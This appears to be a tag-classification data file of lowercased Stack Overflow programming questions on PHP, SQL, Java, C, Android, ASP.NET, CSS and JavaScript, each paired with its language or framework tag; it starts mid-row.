             &lt;option name= dirsubdirs &gt;1&lt;/option&gt;                     &lt;option name= ishome &gt;1&lt;/option&gt;                     &lt;option name= autocreate &gt;0&lt;/option&gt;                 &lt;/permission&gt;             &lt;/permissions&gt;             &lt;speedlimits dltype= 0  dllimit= 10  serverdllimitbypass= 0  ultype= 0  ullimit= 10  serverullimitbypass= 0 &gt;                 &lt;download /&gt;                 &lt;upload /&gt;             &lt;/speedlimits&gt;         &lt;/user&gt; ;     }     fclose($handle); }  &gt; </code></pre>   nevermind  i noticed my mistake.,php
asp.net - meta:resourcekey vs <%$ resources:mykey %>  what s the difference between assigning text to a label using <code>meta:resourcekey</code> and <code>text= &lt;%$ resources:mykey %&gt; </code>. i get the same results using both methods.,asp.net
ms access: export query output to excel and auto create pie chart in excel  folks     i want to generate ( or trigger) query output from ms access to ms excel.    i want either embed code within sql query which generates .xls or write external code.    now i am generating report using  export  option but i want to automate export.    -vijay,sql
fragments lock after page swipe   is is possible to locked fragments on button click  for example.. im making a quiz app but it is in fragment form.. after clicking the submit button. you must swipe to the next page or the question 2.java. now the thing is.. i want to disable the previous fragment so you cannot go back to question 1. thank you guys! my code..    question 1.java    public class question1 extends fragment{   <pre><code>radiobutton q1a2; button btn1;  public view oncreateview(layoutinflater inflater  viewgroup container  bundle savedinstancestate){     view v = inflater.inflate(r.layout.question1  null);     return v; }  @override public void onactivitycreated(bundle savedinstancestate){     super.onactivitycreated(savedinstancestate);     q1a2 = (radiobutton)getview().findviewbyid(r.id.q1a2);     btn1 = (button)getview().findviewbyid(r.id.btnq1);      final sharedpreferences app_preferences =  preferencemanager.getdefaultsharedpreferences(getactivity());     btn1.setonclicklistener(new onclicklistener(){         public void onclick(view v){             sharedpreferences.editor editor = app_preferences.edit();             toast.maketext(getactivity()   submitted    toast.length_short).show();              if (q1a2.ischecked()){                 editor.putint( answer_value   1);             } else {                 editor.putint( answer_value   0);             }             editor.commit();         }     });  } </code></pre>   }    question 2.java   <pre><code>public class question2 extends fragment{  radiobutton q2a1; button btn2;  public view oncreateview(layoutinflater inflater  viewgroup container  bundle savedinstancestate){     view v = inflater.inflate(r.layout.question2  null);     return v; }  @override public void onactivitycreated(bundle savedinstancestate){     super.onactivitycreated(savedinstancestate);     q2a1 = (radiobutton)getview().findviewbyid(r.id.q2a1);     btn2 = (button)getview().findviewbyid(r.id.q2_button);      final sharedpreferences app_preferences = preferencemanager.getdefaultsharedpreferences(getactivity());     btn2.setonclicklistener(new onclicklistener(){         public void onclick(view v){             sharedpreferences.editor editor = app_preferences.edit();              if (q2a1.ischecked()){                 editor.putint( answer_value2   1);             } else {                 editor.putint( answer_value2   0);             }             editor.commit();         }     }); } } </code></pre>,android
how to handle multiple checkboxes in asp.net web form and code-behind file  <strong>here is the code in the .aspx web form</strong> what is the best way to handle a group of multiple checkboxes.          <pre><code> &lt;input id= nonunionexempt  type= checkbox  value= 0        name= employeetype  tabindex= 8  runat= server  /&gt;  &lt;input id= nonexempthourly  type= checkbox  value= 1  name= employeetype  tabindex= 9  /&gt;  &lt;input id= eleven99  type= checkbox  value= 2  name= employeetype  tabindex= 10  /&gt;  &lt;input id= nysna  type= checkbox  value= 3  name= employeetype  tabindex= 11  /&gt;  &lt;input id= cir  type= checkbox  value= 4  name= employeetype  tabindex= 12  /&gt; </code></pre>       <strong>here is the code behind file</strong> is there a better way to deal with multiple checkboxes    <pre><code>  protected void saveemployee()      {          employee model = new employee();           if (nonunionexempt.checked)          {             model.employeetype = nonunionexempt.value;          }          if (nonunionexempt.checked)          {             model.employeetype = nonexempthourly.value;          }            ivalueprovider provider = new  formvalueprovider(modelbindingexecutioncontext);          if (tryupdatemodel&lt;employee&gt;(model  provider))          {              loarepository.savedata(model);                         }         else         {             throw new formatexception( could not model bind );         }     } </code></pre>,asp.net
change value to show a different value based on current value  i am having trouble thinking of a solution to what should be a rather simple problem;    if i do a;     <pre><code>select *   from database </code></pre>   and it showed:   <pre> id | username | fname | lname   | reportsto | email   ---+----------+-------+---------+-----------+-------------------------------- 1  | fgibbins | frank | gibbins | rleo      | fgibbins@fictionalcompany.com   ---+----------+-------+---------+-----------+-------------------------------- 2  | rleo     | roger | leo     | null      | rleo@gictionalcompany.com ---+----------+-------+---------+-----------+-------------------------------- </pre>   <em>what i would like is for whatever value in <code>reportsto</code> to show up as <code>fname</code> <code>lname</code>.</em>    what is the best way to accomplish this  how can i have it look at the username in reportsto show up as a full name     been a while since i worked with sql  so i am trying to get this right.,sql
best way to convert string to integer or int  this might asked too many times before but...   <pre><code>string str =  74.0 ; </code></pre>   let say i have <code> 74.05 </code> and i only need the <code>74</code>. below are some of my ways..   <pre><code>integer.parseint(str); //would result to java.lang.numberformatexception (int) double.parsedouble(str); //working new bigdecimal(str).intvalue(); //i like this </code></pre>   i want this string(<code>str</code>) converted to <code>int</code> or <code>integer</code>  what is the best way to do it,java
handling invalid character constant  i have been working on a data compression and decompression program in java. at some point in my code  i want to visit only the nodes with keys. the part of the code looks like this:   <pre><code>//visit only nodes with keys if(n.alpha !=  &amp;#092;&amp;#048; ) {      system.out.println( {  + n.alpha +  :  + s +  } );      chartocode.put(n.alpha  s);      codetochar.put(s  n.alpha); } </code></pre>    &#092;&#048;  gives me an invalid character constant. i need to know what is going on  and how i can remedy the situation. thanks!,java
is there any difference between `if bool(x)` and `if x` in python   i ve come across some code that reads:   <pre><code>if bool(x):     dosomething </code></pre>   i think that the following would do the same job:   <pre><code>if x:     dosomething </code></pre>   <a href= http://docs.python.org/reference/compound_stmts.html#the-if-statement >the reference</a> says that it evaluates the suite if the test expression   <blockquote>    is found to be true  </blockquote>   the reference says of boolean expressions:   <blockquote>    in the context of boolean operations  and also when expressions are used by control flow statements are used   by control flow statements  the following values are interpreted as   false: false  none  numeric zero of all types  and empty strings and   containers ... all other values are interpreted as true.  </blockquote>   the <a href= http://docs.python.org/library/functions.html#bool >reference</a> says of the <code>bool()</code> function:   <blockquote>    convert a value to a boolean  using the standard truth testing procedure  </blockquote>   so are the two above identical or is there some extra subtlety to it,python
template class  static function call -> is this elegant   i have a template class with all functions declared as static.    <pre><code>template &lt;class t&gt; class cache {  private:     cache() {}     static std::map&lt;std::string  std::string&gt; c_files;  public:      ~cache() {}      template&lt;class t&gt; static void add(t const &amp;file  std::string id) {         return;     }     //... here are some other functions      static void init() {          // do some initialization     } } </code></pre>   normally i would call it like:   <pre><code>cache&lt;bitmap*&gt;::add(my_bitmap   my_identifier ); </code></pre>   which works fine.     but the thing is  i need to do some one-time initialization when my app starts. (checking for cached files on the hdd  push them into the map).     at the moment i m using a  fake  call like:   <pre><code>cache&lt;bool&gt;::update(); </code></pre>   which i think is really a mess.    now  is this messy call okay  or is it complete against some programming standards  how would you solve that problem,c++
how to send authentication request from client application to server application in rails   how to send authentication request from client application to server application in rails  we are working on rails application where login is required.on opening of that login page &amp; submitting that form parameters it should send that submit request to server application for authentication.is there any mechanism in rails for this client to server communication  please help us to solve this problem.,ruby-on-rails
selectbox display the same div  i want selecbox to show div.    no matter what i choose in the selectbox i want to display the same div    i took this code:   <pre><code>$( #field16 ).bind( change  function(){     $( .box ).hide();     $( # +$(this).val()).show(); }); </code></pre>   what do i need to change     thanks,jquery
is there a way for a url open in a new window  is there anything that i can suffix to a url so that it opens in new browser window instead of redirects     i saw a few suggestions on the web  but nothing actually works.    for example: <a href= http://www.zzz.com  rel= nofollow >http://www.zzz.com</a>\ tp=win95 target=_blank,html
http status 404 - /showform  i am getting http status 404 - /showform this error pls help me to solve this.     showform.html   <pre><code>&lt;form action =  /showform  method =  post  enctype= multipart/form-data  &gt; name: &lt;input type =  text  name =  name  /&gt;&lt;br&gt; file: &lt;input type =  file  name =  file  /&gt;&lt;br&gt;   &lt;input type =  submit  value =  submit  name =  submit &gt; &lt;/form&gt; </code></pre>   showform.java   <pre><code>@webservlet( /showform ) public class showform extends httpservlet {     private static final long serialversionuid = 1l;       public showform() {         super();         // todo auto-generated constructor stub     }     /**      * @see httpservlet#doget(httpservletrequest request  httpservletresponse response)      */     protected void doget(httpservletrequest request  httpservletresponse response) throws servletexception  ioexception {         // todo auto-generated method stub         //response.getwriter().append( served at:  ).append(request.getcontextpath());         response.setcontenttype( text/plain );         printwriter pw = response.getwriter();         servletinputstream sis = request.getinputstream();         for(int i = sis.read();i != -1;i = sis.read())         {             pw.print((char)i);         }     }     /**      * @see httpservlet#dopost(httpservletrequest request  httpservletresponse response)      */     protected void dopost(httpservletrequest request  httpservletresponse response) throws servletexception  ioexception {         // todo auto-generated method stub         doget(request  response);     } } </code></pre>   here i am using annotation so i have not map in web.xml.,java
angularjs - filtering when targeting another page  i have built a simple filter with angularjs  the html is like    <pre><code>&lt;a class= filterbutton  ng-click= filters.grade =  7  &gt;7 grade&lt;/a&gt; &lt;a class= filterbutton  ng-click= filters.grade =  6  &gt;6 grade&lt;/a&gt; &lt;a class= filterbutton  ng-click= filters.grade =    &gt;x clear filters&lt;/a&gt;  &lt;ul&gt;   &lt;li ng-repeat= name in names | filter:filters &gt;{{name.student}}  {{name.grade}} grade&lt;/li&gt; &lt;/ul&gt; </code></pre>   and the controller:   <pre><code>var app = angular.module( myapp   []); app.controller( myctrl   function($scope) {  $scope.filters = { };  $scope.names = [{  student :  jimmy    grade :7 }  {  student :  johny    grade :7 }  {  student :  little joe    grade :6 }]; }); </code></pre>   this works as expected. but what i wanted to do is to be able to check one of the filters and jump to another page with the same controller  so that when loaded the second page would be already filtered. so for example  if i click  filter by 7 grade in another page   it would jump to anotherpage.html and the output there would be already filtered.    i have <a href= http://plnkr.co/edit/g3ltazji4nlhll5fw2h5 p=preview  rel= nofollow >made a plunkr here</a> to illustrate what i mean. thanks in advance!,angularjs
how to add paid app link in free app in iphone  i have developed two app (free and paid) i will upload it on app store. but my question is how can i add a link in free app to download paid app.  ex: click to buy full version.    since i don t have any app on itunes  so how can add a link on my free app. and i have seen may free app doing this.    please help me its urgent.    thanks sd,iphone
showing internet content on an intranet site  i ve an asp.net application hosted inside a local area network. the application host machine has access to the internet while the local area network clients do not.     there is one requirement where i ve to show a web page with rich content (images) in an iframe from internet (public network) address.    however since internet access is not available on the client  this somehow has to be done from server and then needs to be served to client.     how can this be done,asp.net
application crashes after calling showbanner method of revmob  i integrate revmob in the app for displaying banner. after calling [[revmobads session] showbanner] method application crashes.,objective-c
reading and printing a file in c  ok  i m trying to read in a text file with my information. the text file contents is this:    <strong>gasdata.txt</strong>    <pre class= lang-none prettyprint-override ><code>0 987654 201200 4.000000 1 red 89114 0.000000 2 red 89712 13.500000 3 red 90229 15.300000 4 987654 201001 0.000000 5 987654 201111 5.200000 6 987654 201612 25.299999 7 red 89300 7.100000 8 green 16 0.000000 9 green 216 20.000000 10 green 518 61.000000 11 green 879 50.000000 </code></pre>   <strong>code</strong>    <pre class= lang-c prettyprint-override ><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;errno.h&gt; #include &lt;unistd.h&gt;  #define n 12  struct record {     char id[7];     int odometer;     float gallons; }; typedef struct record record_t;  record_t gasdata[n];  int main(int argc  char *argv[]) {      file *fileinput;     float gallons;     int element;     char id[10]  odometer[10];      fileinput = fopen( gasdata.txt    r );      for(element = 0; element &lt; n; element++)     {         fscanf(fileinput   %s %s %f   id  odometer  &amp;gallons);          /*if (feof(fileinput))         {             printf( end-of-file detected on file in\n );             exit(1);         }*/          printf( element = %d:  id = %s  odometer = %s  gallons = %f\n   element  id  odometer  gallons);     }      exit (0); } </code></pre>   <strong>output</strong>    <pre class= lang-none prettyprint-override ><code>element = 0:  id = (  odometer = ₧j↑u►↓@  gallons = 0.000000 element = 1:  id = (  odometer = ₧j↑u►↓@  gallons = 0.000000 element = 2:  id = (  odometer = ₧j↑u►↓@  gallons = 0.000000 element = 3:  id = (  odometer = ₧j↑u►↓@  gallons = 0.000000 element = 4:  id = (  odometer = ₧j↑u►↓@  gallons = 0.000000 element = 5:  id = (  odometer = ₧j↑u►↓@  gallons = 0.000000 element = 6:  id = (  odometer = ₧j↑u►↓@  gallons = 0.000000 element = 7:  id = (  odometer = ₧j↑u►↓@  gallons = 0.000000 element = 8:  id = (  odometer = ₧j↑u►↓@  gallons = 0.000000 element = 9:  id = (  odometer = ₧j↑u►↓@  gallons = 0.000000 element = 10:  id = (  odometer = ₧j↑u►↓@  gallons = 0.000000 element = 11:  id = (  odometer = ₧j↑u►↓@  gallons = 0.000000 </code></pre>   what i m getting out is nonsense  here is my output from the program. the only thing that works is the element  but that s just the count of the loop  so no problem there. also  when i uncomment my end-of-file loop  my program crashes. sorry i don t know how to edit the list. thanks in advance for any help.     <strong>edited code</strong>    <pre class= lang-c prettyprint-override ><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;errno.h&gt; #include &lt;unistd.h&gt;  #define n 12  /*struct record {     char id[7];     int odometer;     float gallons; }; typedef struct record record_t;  record_t gasdata[n];*/  int main(int argc  char *argv[]) {      file *fileinput;     float gallons;     int element;     char id[10]; char odometer[10];      fileinput = fopen( gasdata.txt    r );     if (fileinput == null)         return -1;      for(element = 0; element &lt; n; element++)     {         if (fscanf(fileinput   %9s%9s%f   id  odometer  &amp;gallons) == 3)         {             printf( element = %d:  id = %s  odometer = %s  gallons = %f\n                   element  id  odometer  gallons);         }     }      exit (0); } </code></pre>,c
file operation in android  i am new to android platform. i need to create a text file in android. please let me know how to perform this task in android. i have written a code that is working fine in java but not in android. please help me on this....the sample code that ihave written is :-   <pre><code>try { dataoutputstream   dos = new dataoutputstream(new fileoutputstream( test.txt   true)); dos.writebytes(dataline); dos.close(); }  catch (filenotfoundexception ex) {} </code></pre>   the above code snippet is working fine in java but not in android :(    thanks  ashish,android
query in query also divide in sql <pre><code>select  count(player_code)/count(player_code where player_code is null) from player </code></pre>   not sure if my topic is right or not  but i don t know how do you do the sub query thing in sql  i want to use the number of player code that is not null divided player code that is null and make it to percentage.,sql
what is the rule behind  css 256 classes override one id    i have came through this situation recently but unable to find  why   can anyone explain     see the example below at: <a href= http://codepen.io/chriscoyier/pen/lzjqh  rel= noreferrer >http://codepen.io/chriscoyier/pen/lzjqh</a>,css
how to handle very large arrays in php   i have this block of code.   <pre><code>$input = 4; $list_n = array( 0    1 ); for($n=1; $n&lt;=$input; $n++) {      if($n%2 == 0) {         $c++;     }      $reverse_list_n = array_reverse($list_n);      $a = array();     $b = array();      for($i=0; $i&lt;count($list_n); $i++) {         $a[] =  0  . $list_n[$i];         $b[] =  1  . $reverse_list_n[$i];     }      $list_n = array_merge($a[]  $b[]);      if($n == 1) {         $list_n = array( 0    1 );     } } $array_sliced = array_slice($list_n  -1*$input  $input); for($i=0; $i&lt;count($array_sliced); $i++) {     $output = implode( \n   $array_sliced); } echo  &lt;pre&gt; ; print_r($output); echo  &lt;/pre&gt; ; </code></pre>   what this code does is  it generates following data (starting from (0 1)):   <pre><code>0 1 00  01  11  10 000  001  011  010  110  111  101  100 ....... and so on </code></pre>   when <code>$input = 4;</code> the output is:   <pre><code>1010 1011 1001 1000 </code></pre>   and as you can see  after every loop the the elements in the <code>$list_n</code> array doubles than the previous one. and with this pace if <code>$input = 25;</code> then the array would have <code>33554432</code> elements which is very huge. and that is the problem i couldn t find a solution of. when <code>$input = 60</code> i get this error   <pre><code>fatal error: allowed memory size of 134217728 bytes exhausted (tried to allocate 36 bytes) </code></pre>   on this line   <pre><code>$list_n = array_merge($a  $b); </code></pre>   even setting the memory limit to 2g did not solve it. so  how do i optimize my code in order to same the memory. or  is there any other solution      update: following steps are used to generate the data.   <pre><code>$list_n is an array $reverse_list is the reverse of $list_n 0 is appended in the beginning of every element in the $list_n array and stored in $a 1 is appended in the beginning of every element in the $reverse_list_n array and stored in $b array $a and array $b are merged and is stored in $list_n. the main loop runs for $input number of times and the last $input number of elements are displayed from the final array. </code></pre>,php
segmentation fault while executing c program  i am getting segmentation fault error in the following program<br> the code i have written is:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;pthread.h&gt; #include &lt;sys/socket.h&gt; #include &lt;bluetooth/bluetooth.h&gt; #include &lt;bluetooth/l2cap.h&gt; #include  devicescan.h  #include &lt;unistd.h&gt; #include&lt;time.h&gt; void send_message_function(char*); typedef struct node node; static int pckt = 0;  node *first=0  *temp = 0;  int c = 0; int main()  {  int i = 0  iret1  count = 0; while (1) {     first = (node *) malloc(sizeof(node));      pckt = pckt + 1;     if (c == 0 || c == 4) {         sleep(2);         printf( device scanning\n );         first = devicediscovery();         printf( here );         c = 0;         temp = first;     }      while (first != 0) {         char *dest=malloc(21);         sleep(2);         sprintf(dest  first-&gt;val);         printf( device::%s\n   dest);         //send_message_function(dest);         first = first -&gt; ptr;         bzero(dest  18);      }     free(first);     first = temp;     c = c + 1;    }  }  void send_message_function(char *dest)   {  printf( in fun );  struct sockaddr_l2 addr = { 0 };  int s  stat  status;  char buf[17] = { 0 };  char data[20];  int bytes_read;  printf( in fun );   s = socket(af_bluetooth  sock_seqpacket  btproto_l2cap);   printf( in fun ); // set the connection parameters (who to connect to)  addr.l2_family = af_bluetooth;  addr.l2_psm = htobs(0x1001);  //addr.l2_psm = htobs(channel);  str2ba(dest  &amp;addr.l2_bdaddr);  status = connect(s  (struct sockaddr *) &amp;addr  sizeof(addr)); if (status == 0) {      printf( sending message );     sprintf(data   %d : message from master   pckt);     stat = write(s  data  sizeof(data));     bytes_read = read(s  buf  sizeof(buf));     if (bytes_read &gt; 0) {         printf( received %s:%d   buf  pckt);      }      bzero(data  20);     printf( \n );   }    if (status &lt; 0) {      perror( uh oh );   }   sleep(1);    close(s);   } </code></pre>   devicesacn.h file is:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;unistd.h&gt; #include &lt;sys/socket.h&gt; #include &lt;bluetooth/bluetooth.h&gt; #include &lt;bluetooth/hci.h&gt; #include &lt;bluetooth/hci_lib.h&gt; //  pre processor  directive  for  memory  leakage struct node {  char val[18];  struct node *ptr;   };  typedef struct node *snode;  snode devicediscovery() {   typedef struct node node;   int count = 0;  node *head  *first  *temp;  //head = (node *) malloc(sizeof(node)); inquiry_info *ii = null; first = 0; int max_rsp  num_rsp; int dev_id  sock  len  flags; int i; printf(  device scanning....\n ); char addr[19] = { 0 }; char name[248] = { 0 }; dev_id = hci_get_route(null); sock = hci_open_dev(dev_id); if (dev_id &lt; 0 || sock &lt; 0) {     perror( opening socket );     exit(1); }  len = 8; max_rsp = 255; flags = ireq_cache_flush; ii = (inquiry_info*) malloc(max_rsp * sizeof(inquiry_info)); num_rsp = hci_inquiry(dev_id  len  max_rsp  null  &amp;ii  flags); if (num_rsp &lt; 0)     perror( hci_inquiry ); //head = (node *) malloc(sizeof(node)); for (i = 0; i &lt; num_rsp; i++) {     ba2str(&amp;(ii + i)-&gt;bdaddr  addr);     memset(name  0  sizeof(name));     if (hci_read_remote_name(sock  &amp;(ii + i)-&gt;bdaddr  sizeof(name)  name  0)             &lt; 0)         strcpy(name   [unknown] );     head = (node *) malloc(sizeof(node));     //first = (node *) malloc(sizeof(node));     temp = (node *) malloc(sizeof(node));     strcpy(head-&gt;val  addr);     if (first != 0) {         temp-&gt;ptr = head;         temp = head;     } else {         first = temp = head;     }     fflush(stdin);  }  free(ii);  close(sock); printf( returning value ); return first; } </code></pre>   while debugging this program iam getting a segmentation fault at sprintf(dest first->val) stement in the main function inside while. i think i have allocated memory for variables then why i am getting this error   can anyone please help me.,c
editing a div tag  if i have 4 divs:   <pre><code>&lt;div class= divdata &gt;data 1&lt;/div&gt; &lt;div class= divdata &gt;data 2&lt;/div&gt; &lt;div class= divdata &gt;data 3&lt;/div&gt; &lt;div class= divdata &gt;data 4&lt;/div&gt; </code></pre>   i know i can use <code>.length</code> to find out how many divs are on the page:   <pre><code>alert( $( .divdata ).length ); // returns 4 </code></pre>   is it possible to change the text in the 3rd div without is having an id and keeping the class name as is,jquery
different result for a background image in firefox and chrome  i have this site:    <a href= http://gazien.com/app.php/hello/javier  rel= nofollow >http://gazien.com/app.php/hello/javier</a>    as you can see the separator for the nav bar are shown different in chrome and firefox. i like the firefox visialization. how can i get the same in chrome,css
what is the use of the size attribute for button  html   <pre><code> &lt;input type= button  value= click here  size= 1 /&gt;  </code></pre>   here what is the use of the size attribute for button. it does nothing.    demo:    <a href= http://jsfiddle.net/u6b5a/  rel= nofollow >http://jsfiddle.net/u6b5a/</a>,html
load animated image from url on android  i ve one url  <a href= http://radblast.wunderground.com/cgi-bin/radar/wunids_composite maxlat=38.35494788602722&amp;maxlon=-121.87068343162537&amp;minlat=37.180387917398&amp;minlon=-122.96931557357311&amp;rainsnow=1&amp;smooth=1&amp;frame=0&amp;num=10&amp;alpha=1&amp;delay=10&amp;cors=1&amp;theext=.gif&amp;nodebug=0&amp;png=0&amp;min=1&amp;noclutter=0&amp;radar_bitmap=1&amp;noclutter_mask=1&amp;brand=wundermap&amp;width=800&amp;height=1082  rel= nofollow >http://radblast.wunderground.com/cgi-bin/radar/wunids_composite maxlat=38.35494788602722&amp;maxlon=-121.87068343162537&amp;minlat=37.180387917398&amp;minlon=-122.96931557357311&amp;rainsnow=1&amp;smooth=1&amp;frame=0&amp;num=10&amp;alpha=1&amp;delay=10&amp;cors=1&amp;theext=.gif&amp;nodebug=0&amp;png=0&amp;min=1&amp;noclutter=0&amp;radar_bitmap=1&amp;noclutter_mask=1&amp;brand=wundermap&amp;width=800&amp;height=1082</a>    it has no of image animated.    i want to show the image on in my app not in browser and webview.    how to show it     i ve tried to downlaod the image and stored on sdcard.    i ve checked     <a href= http://weavora.com/blog/2012/02/07/android-how-to-use-animated-gif/  rel= nofollow >http://weavora.com/blog/2012/02/07/android-how-to-use-animated-gif/</a>    but i dont know how to load the gif image from sd card path.,android
where should i need to put replacechild() so it replace existing div  i am new to programming and recently started learning javascript. i made a little program that take hsl color value and show all saturation values of that color. currently when user enter the input value second or third time  it creates a new div (try to enter a value second or third time in <a href= https://jsfiddle.net/qdvr30ph/3/  rel= nofollow >jsfiddle</a> example). what i want is that when user enter the value second or third time instead of creating a new div every time it should replace the existing div. i am familiar with replacechild() method but not sure where it should be placed.     here is my code:   <pre><code>var satinput = document.createelement( input ); var satbutton = document.createelement( button );  satinput.setattribute( placeholder    write a number between 0 to 360 ); satinput.setattribute( size    30 ) satbutton.innerhtml =  submit ;  document.body.appendchild(satinput); document.body.appendchild(satbutton);  var saturation = function() {      if (satinput.value !==    &amp;&amp; satinput.value &gt;= 0 &amp;&amp; satinput.value &lt;= 360) {          var background = document.createelement( div );         background.id =  bg ;         document.body.appendchild(background);          for (var i = 0; i &lt;= 100; i++) {             var childdiv = document.createelement( div );             childdiv.id =  color ;             background.appendchild(childdiv);             childdiv.style.backgroundcolor =  hsl(  + satinput.value +     + i +  %  50%) ;         }      } else {         alert( please write a number between 0 to 360. );     } }  satbutton.onclick = saturation; </code></pre>,javascript
element height/width scaling issue  i m having a problem with a background element. i have two divs  curtain_left and curtain_right that need to be 100% of the height of the browser  no less than 20% width and no more than 40% width. the main requirement is that the curtain scale to 100% of the height.    right now  i have   <pre><code>#curtain_left { left: 0px; min-width: 20%; max-width:40% height: 100%; text-align: left; z-index: -1; position: fixed; background-image: url(img/curtain_right.png); background-size: 100%; background-repeat: no-repeat; </code></pre>   it seems to be only paying attention to the min-width  and not expanding based on the scaled height. so it works on wide-screen monitors  but on standard  the background image will expand to the 20% width and then leave an awkward spacing on the bottom.    <img src= https://i.stack.imgur.com/cslo4.png  alt= enter image description here >    any tips     <a href= http://jsfiddle.net/kjbcj/1/  rel= nofollow noreferrer >http://jsfiddle.net/kjbcj/1/</a>,css
.net: is there a built in version of propertychangedeventargs that includes the old/new value   is there a built in version of propertychangedeventargs that includes the old/new value,.net
using statement  across n-layer  i ve recently inherited a .net web app with a 4 layer setup.  as per normal with these situations  i have no documentation and no contact with the prior devs.  the members of previous team for the app had vastly different habits  and i m trying to sort through these as i refactor/standardize the code.  i ran into something i haven t seen before (and i m not able to find anywhere or anyone implementing this as a practice ) in which one/many of the developers wrap all datasets in a using statement as it s returned through the layers.  as soon as i saw it i wanted to junk it.  in many of these implementations the readability is shot. then i started questioning myself because i can t imagine someone doing this just because. i understand the desire to dispose of objects as they re used  but this just seems like someone went overboard.  does anyone know of a solid reason to keep this implemented     here s a little tldr example of what s being done.    presentation:   <pre><code>using (dataset ds = objcustomerfbo.fetchcustomerinfo(base.keyid)) {     grdcustomerinfo.datasource = ds; } grdcustomerinfo.databind(); </code></pre>   object:   <pre><code>public dataset fetchcustomerinfo(int keyid) {     using (dataset ds = objcustomerebo.fetchcustomerinfo(keyid);     {          return ds;     } } </code></pre>   business:   <pre><code>public dataset fetchcustomerinfo(int keyid) {     sqlparameter arrsqlparam = new sqlparameter[1];     arrsqlparam[0] = new sqlparameter( @customerid   sqldbtype.int);     arrsqlparam[0].value = keyid;      using (dataset ds = commonebo.executedataset( fetchcustomerinfo   arrsqlparam);     {          return ds;     } } </code></pre>   data (after filtering through overloads):   <pre><code>public static dataset executedataset(string strcommandtext  sqlparameter[] sqlparams  commandtype commandtype  string strconnectionstring)     {         dataset ds = new dataset();         try         {             using (sqldataadapter oadpt = new sqldataadapter(cmsonlinedh.createcommand(strcommandtext  sqlparams  commandtype  strconnectionstring)))             {                 oadpt.selectcommand.connection.open();                 oadpt.fill(ds);             }         }         catch { throw; }         return ds;     } </code></pre>,c#
if system.enum is a class  how can it also be a valuetype   system.valuetype is a class  and everything that derives from it is a value type and therefore can t be a class  because classes are reference types.    how is it then possible that system.enum (which inherits system.valuetype) is defined as a class,c#
purpose of element.setattribute()   if there is an element like this:   <pre><code>var c = document.createelement( a ); </code></pre>   then one can add the attribute name simply by doing:   <pre><code>c.name =  a1 ; </code></pre>   what is the purpose of <code>setattribute()</code> if one can just use the dot notation,javascript
angularjs orderby example function not working  is it flaw or is it expected to work like this     initally the sort order is set in the controller   <pre><code>$scope.order( -age  false); </code></pre>   and in the view     <pre><code>&lt;a href=   ng-click= reverse=!reverse;order( age  reverse) &gt;age&lt;/a&gt; </code></pre>   we need to click twice on the  age  column in order to get it sorted!     following are the steps i followed    <ol> <li>load the example link. </li> <li>click once column age</li> </ol>   expected result :      age  column should be sorted    actual result :   age  column doesn t get sorted on 1st click but does on 2nd click;    is it right behavior      <a href= http://plnkr.co/edit/r6rerzq2ee0iglqsrxqc p=preview  rel= nofollow >link to example</a>,angularjs
comparing 1 column of non-unique values to another column of non-unique values  not sure how to ask it properly so i ll try to visualize it. i have 2 columns lets say one is names and the names repeat( a couple johns a few lukes etc). the other column is pretty much languages but only a few(french  spanish  english  etc). basically  each person can have multiple languages.     im trying to find out if given a name  could i determine which other people are associated with all of the languages the original person is. so example being mark knows french and spanish. using that  i would try and figure out who else knows french and spanish. so if jeremy knows french  spanish  and german  he would show up in the results.    any ideas     so far i have   <pre><code>accept namein prompt  search for:  select name from sc16temp intersect (select lang from sc16temp where name= &amp;namein ); </code></pre>,sql
build failed when adding app to iphone device  i have created a application in iphone and i have provision certificate for testing it in iphone.i connected xcode 4 with iphone and i changed the iphone stimulator to my iphone.i run the xcode  all the files are complied but last there shows a failed message.it is not given any error message.i build my app with ios4.3 but my iphone is ios4.1.is this is the issue for the build error .please help me to solve this. thanks in advance.,iphone
difference between creating java string with and without new operator  with new operator string create the string in heap and put a copy in string const pool so the result of hashcode is same in below case;   <pre><code>  string s1 = new string( test );    string s2 = new string( test );    system.out.println(s1.hashcode() +    + s2.hashcode() +     + s1.equals(s2)); </code></pre>   but without using new operator its still giving the same hashcode    <pre><code>string s1 = new string( test );     string s2 =  test ;     system.out.println(s1.hashcode() +    + s2.hashcode() +     + s1.equals(s2)); </code></pre>   then what is the differnce between above two notation of string creation although  they are referening to same string in string const. pool,java
i want to create a horizontal menus in asp.net project  how to create menu lists in asp.net. can any one help me to build that,asp.net
making a console game. i want the game to end when they get 0 hp  i am currently creating a game where it involves hp (character s health) and wanted to know how to make the game end when it reaches 0 hp for the player. can anyone help me out  also  my current code so far is pasted below if needed.   <pre><code>//important: //finalhp = hp - 10; //cout &lt;&lt;  name:   &lt;&lt; name &lt;&lt;     |     &lt;&lt;  age:   &lt;&lt; age &lt;&lt;     |     &lt;&lt;  sex:   &lt;&lt; sex &lt;&lt;     |     &lt;&lt;  race:   &lt;&lt; race &lt;&lt;     |     &lt;&lt;  hp:   &lt;&lt; finalhp &lt;&lt; endl;  #include &lt;iostream&gt; #include &lt;string&gt; using namespace std;  int main() {     //sets strings and starting hp     string name;     string age;     string sex;     string race;     string input;     int hp = 20;      //creating your character     cout &lt;&lt;  welcome to xvert77x s first ever published game!\nwhen answering questions you must either capitalize the first letter not\ncapitalize anything at all and must spell things correctly.\n(this rule excludes your name. you can make your name\nxxxxsniperkill360n0sc0peskillzxxxx.)\n\nhave fun!\n  &lt;&lt; endl;     cout &lt;&lt;  enter a character name:  ;     cin &gt;&gt; name;     cout &lt;&lt;  you have a very strange name... enter a character age:  ;     cin &gt;&gt; age;     cout &lt;&lt;  enter a character sex (m/f)(that means no aliens. sorry et):  ;     cin &gt;&gt; sex;     cout &lt;&lt;  enter a character race (human/dwarf/beast)(still no aliens):  ;     cin &gt;&gt; race;     cout &lt;&lt;  character created! bringing you to your hud...  &lt;&lt; endl;      //hud     cout &lt;&lt;  name:   &lt;&lt; name &lt;&lt;     |     &lt;&lt;  age:   &lt;&lt; age &lt;&lt;     |     &lt;&lt;  sex:   &lt;&lt; sex &lt;&lt;     |     &lt;&lt;  race:   &lt;&lt; race &lt;&lt;     |     &lt;&lt;  hp:   &lt;&lt; hp &lt;&lt; endl;      //first question to player     cout &lt;&lt;  \nyou see a man. do you kill him \n1. yes\n2. no  &lt;&lt; 